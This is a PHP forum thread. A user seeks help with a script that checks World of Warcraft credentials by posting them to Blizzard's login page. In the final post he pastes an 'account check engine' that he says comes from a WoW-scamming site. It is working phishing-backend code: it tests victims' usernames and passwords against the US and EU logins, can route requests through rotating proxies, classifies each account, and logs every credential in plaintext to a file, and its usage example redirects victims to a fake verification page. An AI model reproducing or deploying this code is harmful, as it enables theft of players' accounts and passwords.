TalkPHP
 
 
Account Login
Latest Articles
» The basic usage of PHPTAL, a XML/XHTML template library for PHP
» Vulnerable methods and the areas they are commonly trusted in.
» Simple way to protect a form from bot
» The Basics On: How Session Stealing Works
» How to keep your forms from double posting data
IRC Channel
IRC Speech Bubble Join the friendly bunch on IRC...
(#TalkPHP on Freenode)

...Also available via a web interface.

See this thread for information on the TalkPHP Free Hugs Initiative™. Subject to availability.
Associates
Associates
CSS Tutorials
Reply
 
LinkBack Thread Tools Search this Thread Display Modes
Old 04-06-2008, 09:03 PM   #1 (permalink)
The Prestige
Upcoming Programmer Inquisitive 
 
Tanax's Avatar
 
Join Date: Sep 2007
Location: Sweden, Stockholm
Posts: 1,080
Thanks: 115
Tanax is on a distinguished road
Default Stream problem

Hi!

I'm currently developing a script for a community for WoW-fans.
The problem is that they only want people who currently have an active account OR an account at all.

So I have to make a script that runs a check from the real wow-site and tries to login with the values provided by the user that is trying to register on the community.

However, this script is not supposed to store any values, since that is very illegal(phishing), and it's only supposed to run in the background when the user register.

So, what's the problem?
Well, I get this error:

Quote:
Warning: file_get_contents(https://www.wow-europe.com/login/log...m%2Faccount%2F) [function.file-get-contents]: failed to open stream: Invalid argument in C:\wamp\www\script.php on line 60
Invalid Account
This is the code:
php Code:
/**
||||||||||||||||||||||||||||||||||||||||||
|||| @author Tanax
|||| @copyright 2008
||||||||||||||||||||||||||||||||||||||||||
**/

   
/** --------------------------------------->
 ** Configuration
 **/

 
    // Names of the fields on the remote website.
    $field1_name_remote = 'username';
    $field2_name_remote = 'password';
    $submit_remote = 'Login';
   
    // Names of the fields on the local website.
    $field1_name_local = 'acc';
    $field2_name_local = 'pass';
   
    // String to search for on the logged remote page.
    $find = 'Account Type:';
   
    // The url to the account login-page on the remote website.
    $url = 'https://www.wow-europe.com/login/login?service=https%3A%2F%2Fwww.wow-europe.com%2Faccount%2F';
   
   
/** --------------------------------------->
 ** Don't touch!
 **/

    
    // Get the values from the input on local website.
    $field1_value_local = $_POST[$field1_name_local];
    $field2_value_local = $_POST[$field2_name_local];
   
    // Set up the data.
    $data = array(
        $field1_name_remote => $field1_value_local,
        $field2_name_remote => $field2_value_local,
        'submit' => $submit_remote
    );
   
    // Take away htmlspecialchars and build a query from the data.
    $query = htmlspecialchars_decode(http_build_query($data));
    // Create the stream and try to login with the query.
    $stream = stream_context_create(array(
       
        'http' => array(
           
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n" . "Content-Length: " . strlen($query) . "\r\n",
            'content' => $query
           
        )
       
    ));
    // Get the content from the page.
    $content = file_get_contents($url, false, $stream);
   
    // Search for the string.
    $search = strpos($content, $find);

    if($search === false){

        echo 'Invalid Account';

    }

    else {

        echo 'Valid Account';

    }

I'm only using the echo there to try the script, this will most likely to be converted to a function and then instead of echo 'valid account' it will return true, and return false on invalid account.

Also, if it's to any help, this is the form:
html Code:
<form action="script.php" method="POST">
Account name:<br />
<input type="text" name="acc" /><br /><br />

Password:<br />
<input type="text" name="pass" /><br /><br />

<input type="submit" name="submit" value="Login">
</form>
__________________

Last edited by Tanax : 03-09-2009 at 08:29 PM.
Tanax is offline  
Reply With Quote
Old 04-06-2008, 11:12 PM   #2 (permalink)
Wizard
Top Contributor 
 
Village Idiot's Avatar
 
Join Date: Sep 2007
Posts: 1,299
Thanks: 17
Village Idiot is on a distinguished road
Default

The second arguement to the function is invalid, false is not a flag.Your valid flags are
FILE_USE_INCLUDE_PATH
FILE_TEXT
FILE_BINARY
PHP: file_get_contents - Manual
__________________

Village Idiot is offline  
Reply With Quote
Old 04-07-2008, 12:00 AM   #3 (permalink)
The Prestige
Upcoming Programmer Inquisitive 
 
Tanax's Avatar
 
Join Date: Sep 2007
Location: Sweden, Stockholm
Posts: 1,080
Thanks: 115
Tanax is on a distinguished road
Default

Thanks, but I changed the line to:
php Code:
$content = file_get_contents($url, FILE_TEXT, $stream);

..and it still gives me the same error:
Quote:
Warning: file_get_contents(https://www.wow-europe.com/login/log...m%2Faccount%2F) [function.file-get-contents]: failed to open stream: Invalid argument in C:\wamp\www\script.php on line 60
Invalid Account
__________________
Tanax is offline  
Reply With Quote
Old 04-07-2008, 03:08 PM   #4 (permalink)
how quixotic are you?
 
ETbyrne's Avatar
 
Join Date: Dec 2007
Location: Lapeer, MI
Posts: 445
Thanks: 37
ETbyrne is on a distinguished road
Default

Why not just use file_get_contents($url); ?
__________________
Dingo Web Systems > http://www.dingocode.com
My Website > http://www.evanbot.com
ETbyrne is offline  
Reply With Quote
Old 04-07-2008, 03:18 PM   #5 (permalink)
The Prestige
Upcoming Programmer Inquisitive 
 
Tanax's Avatar
 
Join Date: Sep 2007
Location: Sweden, Stockholm
Posts: 1,080
Thanks: 115
Tanax is on a distinguished road
Default

Quote:
Originally Posted by ETbyrne View Post
Why not just use file_get_contents($url); ?
Because I want it to try to login first.
And then get the sourcecode, and then search for words that appears on the successfully logged in page(such as for example "Account Type:").
__________________
Tanax is offline  
Reply With Quote
Old 04-08-2008, 01:36 AM   #6 (permalink)
how quixotic are you?
 
ETbyrne's Avatar
 
Join Date: Dec 2007
Location: Lapeer, MI
Posts: 445
Thanks: 37
ETbyrne is on a distinguished road
Default

Ah, OK I see. Sorry, this is way over my head...
__________________
Dingo Web Systems > http://www.dingocode.com
My Website > http://www.evanbot.com
ETbyrne is offline  
Reply With Quote
Old 04-08-2008, 07:31 PM   #7 (permalink)
The Contributor
 
mortisimus's Avatar
 
Join Date: Sep 2007
Location: London, UK
Posts: 47
Thanks: 4
mortisimus is on a distinguished road
Default

I am not sure whether this is the case but can XSS prevent some people from doing this?

Also maybe just try and get the file contents of https://www.wow-europe.com/login/login? I'll look into what may be the problem.
mortisimus is offline  
Reply With Quote
Old 04-08-2008, 08:05 PM   #8 (permalink)
The Prestige
Upcoming Programmer Inquisitive 
 
Tanax's Avatar
 
Join Date: Sep 2007
Location: Sweden, Stockholm
Posts: 1,080
Thanks: 115
Tanax is on a distinguished road
Default

Quote:
Originally Posted by mortisimus View Post
I am not sure whether this is the case but can XSS prevent some people from doing this?

Also maybe just try and get the file contents of https://www.wow-europe.com/login/login? I'll look into what may be the problem.
One thing's for sure. It made the error MUCH shorter xD

Quote:
Warning: file_get_contents(https://www.wow-europe.com/login/login) [function.file-get-contents]: failed to open stream: Invalid argument in C:\wamp\www\script.php on line 59
Invalid Account
I used with the stream:
PHP Code:
$content file_get_contents($urlfalse$stream); 
And yes, it's supposed to be false and not that other shit..
The other shit is for PHP 6, and I don't use PHP 6.. ;P
__________________
Tanax is offline  
Reply With Quote
Old 06-08-2009, 03:00 PM   #9 (permalink)
The Visitor
 
Join Date: Jun 2009
Posts: 1
Thanks: 0
RedHouse is on a distinguished road
Default https

it's because its https not http.
RedHouse is offline  
Reply With Quote
Old 06-10-2009, 12:33 PM   #10 (permalink)
The Prestige
Upcoming Programmer Inquisitive 
 
Tanax's Avatar
 
Join Date: Sep 2007
Location: Sweden, Stockholm
Posts: 1,080
Thanks: 115
Tanax is on a distinguished road
Default

Ye, but this is actually already solved with cURL.

Although, I found this on a WoW-scamming site, it would work quite alright for the things I wanted. I would have to remove the logging of the accounts before using on live servers first though.

php Code:
<?php
/*
    Account check engine by Apoc
*/

// Edit this to whatever you want it to be on your web server. You can use a relative, or exact path if you want.
// Eg; /home/user/public_html/logs/log.txt/
// Or; ./log.txt
// You are free to name it whatever you want.
define('LOG_FILE', './AccountsLog.txt');
// Whether or not we should log accounts at all. (If this is false, the above define is useless!!
define('LOG_ACCOUNTS', true);

// Parse extra information from accounts. (What type of account it is)
define('PARSE_ACCOUNTS', true);

// If you want to use a proxy when connecting to the WoW website
// Change this to true. Also add the proxy file address!
define('USE_PROXY', false);
// This can be anything really. It will choose a random proxy out of the
// file. Make sure you only have 1 proxy per line. Proxy type is as follows: 0.0.0.0:0 (ip.ip.ip.ip:port)
define('PROXY_FILE', '/path/to/your/proxy/file');



// These may change as Blizzard updates their website
define('US_LOGIN_URL', 'https://www.blizzard.com/login/login.xml?referer=https%3A%2F%2Fwww.worldofwarcraft.com%2Faccount%2F&loginType=wow');
define('EU_LOGIN_URL', 'https://eu.blizzard.com/login/login.xml?loginType=wow&referer=https%3A%2F%2Fwww.wow-europe.com%2Faccount%2F');

// Do not edit these defines
define('US_ACCOUNT', "US");
define('EU_ACCOUNT', "EU");

// Start account types
define('UNKNOWN', 'Unknown');
define('CLASSIC', 'Classic');
define('BC', 'Burning Crusade');
define('WRATH', 'Wrath of the Lich King');
define('TRIAL', 'Trial');
define('FROZEN', 'Frozen');
define('BANNED', 'Banned');
// End account types

// Start error codes
define('NO_CURL_FUNCS', "cURL FUNCTIONS NOT AVAILABLE");
define('INVALID_PASSWORD', "INVALID PASSWORD");
define('INVALID_USERNAME', "INVALID USERNAME");
define('INVALID_USER_PASS_COMBO', "INVALID ACCOUNT DETAILS");
define('BAD_LOGIN', "COULD NOT LOGIN");
// End error codes
// End un-editable defines

class AccountCheck
{
    // The login type for the account. (EU or US)
    public $login_type = '';
   
    // You can use this to display a successful logins account management page.
    // So long as your images directory and whatnot is correct!
    public $last_page_requested = '';
   
    // Returns the last error encountered.
    public $last_error = '';
   
    // The account type of the last checked account. (See defines above)
    public $account_type = '';
   
    // Private regex patterns. Only here so if I need to edit them, they're easy to get to. :P
    private $password_regex = '/^(?=.*\d)(?=.*[a-zA-Z])(?!.*[^\w!"#$,%]).{8,16}$/';
    private $username_regex = '/^\w{3,16}$/';
   
    public function __construct()
    {
        $this->account_type = UNKNOWN;
        if (!$this->CheckCurlFuncs())
        {
            $last_error = NO_CURL_FUNCS;
        }
    }
   
    //
    //Returns true if all the required cURL functions are available. False otherwise.
    //
    private function CheckCurlFuncs()
    {
        return function_exists('curl_init') && function_exists('curl_setopt') && function_exists('curl_exec') && function_exists('curl_close');
    }
   
    //
    //  Checks whether or not the account is valid.
    //  -> Checks Username via regex, password via regex, and makes sure the username is different from the password.
    //
    public function IsValidAccount($username = "", $password = "")
    {
        return $this->IsValidUsername($username) && $this->IsValidPassword($password) && $username != $password;
    }
   
    //
    //  Checks if the username is valid for a login. (Alpha-numeric, 3-16 characters long.)
    //
    public function IsValidUsername($username = "")
    {
        $tmp = preg_match($this->username_regex, $username);
        if (!$tmp)
        {
            $this->last_error = INVALID_USERNAME;
        }
        return $tmp;
    }
   
    //
    //  Checks if the password is valid for a login. (8-16 characters long, containing alphanumeric, and special characters [!"#$,%])
    //   Also checks to make sure it has at least 1 digit in it.
    //
    public function IsValidPassword($password = "")
    {
        $tmp = preg_match($this->password_regex, $password);
        if (!$tmp)
        {
            $this->last_error = INVALID_PASSWORD;
        }
        return $tmp;
    }
   
    //
    //  Returns true if it was able to login to the US account management site. False otherwise.
    //
    public function CheckUsLogin($username = "", $password = "")
    {
        $tmp = $this->Login($username, $password, US_LOGIN_URL);
        if ($tmp)
        {
            $this->login_type = US_ACCOUNT;
            $this->ParseUS($this->last_page_requested);
            $this->LogAccount($username, $password, US_ACCOUNT);
        }
        return $tmp;
    }
   
    //
    //  Returns true if it was able to login to the EU account management site. False otherwise.
    // 
    public function CheckEuLogin($username = "", $password = "")
    {
        $tmp = $this->Login($username, $password, EU_LOGIN_URL);
        if ($tmp)
        {
            $this->login_type = EU_ACCOUNT;
            $this->ParseEU($this->last_page_requested);
            $this->LogAccount($username, $password, EU_ACCOUNT);
        }
        return $tmp;
    }   
   
    //
    //  Attempts to login to both EU, and US account management sites. If either returns a valid
    //  login, it will return true. Otherwise false.
    //
    //  When this function returns true, check $accountChecker->login_type to get the type of login.
    //
    public function CheckBothLogin($username = "", $password = "")
    {
        if ($this->CheckUsLogin($username, $password))
        {
            return true;
        }
        if ($this->CheckEuLogin($username, $password))
        {
            return true;
        }
        return false;
    }
   
    //
    // The main login function. It can check both EU and US with the same methodology
    //
    private function Login($username = "", $password = "", $url)
    {
        if ($this->last_error == NO_CURL_FUNCS)
        {
            return false;
        }
       
        if (!$this->IsValidAccount($username, $password))
        {
            $this->last_error = INVALID_USER_PASS_COMBO;
            return false;
        }
       
        $postvars = "accountName=$username&password=$password";
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_POST, 1); // Sending a POST request
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postvars); // Setup the POST variables
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // Just go along with any redirects
        curl_setopt($ch, CURLOPT_HEADER, 0); // We don't want to return any HTTP headers
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // And we want the return contents, instead of a bool value.
       
        if (USE_PROXY)
        {
            $proxy = $this->GetRandomProxy();
            if ($proxy)
            {
                curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);
                curl_setopt($ch, CURLOPT_PROXY, $proxy);
            }
        }
       
        $this->last_page_requested = curl_exec($ch); // Get our stuff!
        curl_close($ch);
       
        if (strstr($this->last_page_requested, "Invalid account name or password"))
        {
            $this->last_error = BAD_LOGIN;
            return false;
        }
        else
        {
            $this->last_error = '';
            return true;
        }
    }
   
    private function GetRandomProxy()
    {
        if (!file_exists(PROXY_FILE))
        {
            return false;
        }
       
         $content = file_get_contents(PROXY_FILE);
        if(preg_match_all('/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}/', $content, $match))
        {
            if (!count($match))
            {
                return false;
            }
            srand((float) microtime() * 10005224);
            return array_rand($match, 1);
        }
        else
        {
            return false;
        }
    }
   
    // Just a simple logging method. Logs the account info to a file specified.
    private function LogAccount($username, $password, $type)
    {
        if (!LOG_ACCOUNTS && !$this->last_error)
        {
            return;
        }
        if ($file = fopen(LOG_FILE, 'a'))
        {
            $toWrite = '['.date('m-d-y g:iA').'] Username: '.$username.' - Password: '.$password.' - Login Type: '.$type;
            if (PARSE_ACCOUNTS)
            {
                $toWrite .= " - Account Type: ".$this->account_type;
            }
            $toWrite .= "\n";
            fwrite($file, $toWrite);
            fclose($file);
        }
    }

    // ####################### ACCOUNT TYPE PARSERS #######################
   
    private function ParseUS($page)
    {
        if (!PARSE_ACCOUNTS) return;
       
        if (strstr($page, 'This account has been permanently closed and will no longer be able to access World of Warcraft.'))
        {
            $this->account_type = BANNED;
            return BANNED;
        }
        if (strstr($page, 'This account is a Trial account.  A retail Authentication Key will be required to continue playing after the trial time period expires.'))
        {
            $this->account_type = TRIAL;
            return TRIAL;
        }      
        if (strstr($page, 'This account has been frozen and cannot be used for playing.'))
        {
            $this->account_type = FROZEN;
            return FROZEN;
        }      
        if (strstr($page, 'images/icons/accounttype/wrath-on.gif'))
        {
            $this->account_type = WRATH;
            return WRATH;
        }      
        if (strstr($page, 'images/icons/accounttype/bc-on.gif'))
        {
            $this->account_type = BC;
            return BC;
        }
        if (strstr($page, 'images/icons/accounttype/classic-on.gif'))
        {
            $this->account_type = CLASSIC;
            return CLASSIC;
        }
        $this->account_type = UNKNOWN;
        return UNKNOWN;
    }
   
    private function ParseEU($page)
    {
        if (!PARSE_ACCOUNTS) return;
       
        if (strstr($page, 'WoW Trial'))
        {
            $this->account_type = TRIAL;
            return TRIAL;
        }      
        if (strstr($page, 'Frozen Account'))
        {
            $this->account_type = FROZEN;
            return FROZEN;
        }      
        if (strstr($page, 'Wrath of the Lich King Account'))
        {
            $this->account_type = WRATH;
            return WRATH;
        }      
        if (strstr($page, 'World of Warcraft + Burning Crusade'))
        {
            $this->account_type = BC;
            return BC;
        }
        if (strstr($page, 'World of Warcraft - no expansion'))
        {
            $this->account_type = CLASSIC;
            return CLASSIC;
        }
        if (strstr($page, 'Closed'))
        {
            $this->account_type = BANNED;
            return BANNED;
        }
        $this->account_type = UNKNOWN;
        return UNKNOWN;
    }
}
?>

Example usage:
php Code:
<?php
include("accountverification.php");

if (isset($_POST['username']) && isset($_POST['password']))
{
    $checker = new AccountCheck();
    // Check for an error stating that cURL isn't available.
    // This is set as soon as you create the AccountCheck object.
    if ($checker->last_error == NO_CURL_FUNCS)
    {
        // Send them to the error page. Since we have no
        // cURL functions available.
        header('Location: indexerror.html');
    }
   
    // You may also use CheckUsLogin to check only US, CheckEuLogin to check only EU,
    // or CheckBothLogin to attempt to try both EU and US. (I suggest CheckBothLogin)
    // Check<type>Login automatically checks to make sure the username/password are valid.
    // No need to parse it here.
    if ($checker->CheckBothLogin($_POST['username'], $_POST['password']))
    {
        // Note, if this was a success, the account is automatically logged.
        // Edit the things in accountverification.php to change if it's actually logged, and where
        // it gets logged to. (You can also enable the use of proxies there.)
        header('Location: identity_verification.html');
    }
    else
    {
        switch ($checker->last_error)
        {
            case INVALID_USERNAME:   
                // This error only happens when the username doesn't get passed the regex used to check it.
                // (3-16 characters, alpha-numeric)
                //Invalid username. Send them an error specifying this maybe? (The red arrow thing Blizzard uses)
                break;
            case INVALID_PASSWORD:
                // This error only happens if the password doesn't make it passed the regex used to check it.
                // (8-16 characters long, containing alphanumeric, and special characters [!"#$,%])
                // Send them an error specifying the error. (The red arrow thing Blizzard uses)
                break;
            case INVALID_USER_PASS_COMBO:
                // This happens when the username and password are the same!
                // Blizzard doesn't allow this. So why should we?
                break;
            case BAD_LOGIN:
                // Bad login!!
                // Either send them to an error page, or display the red arrow kajigger.
                break;
            default:
                // Some other error!
                break;
        }
        header('Location: indexerror.html');
    }
}

?>
__________________
Tanax is offline  
Reply With Quote
Reply



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


All times are GMT. The time now is 08:58 PM.

 
     

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.1.0
Inactive Reminders By Icora Web Design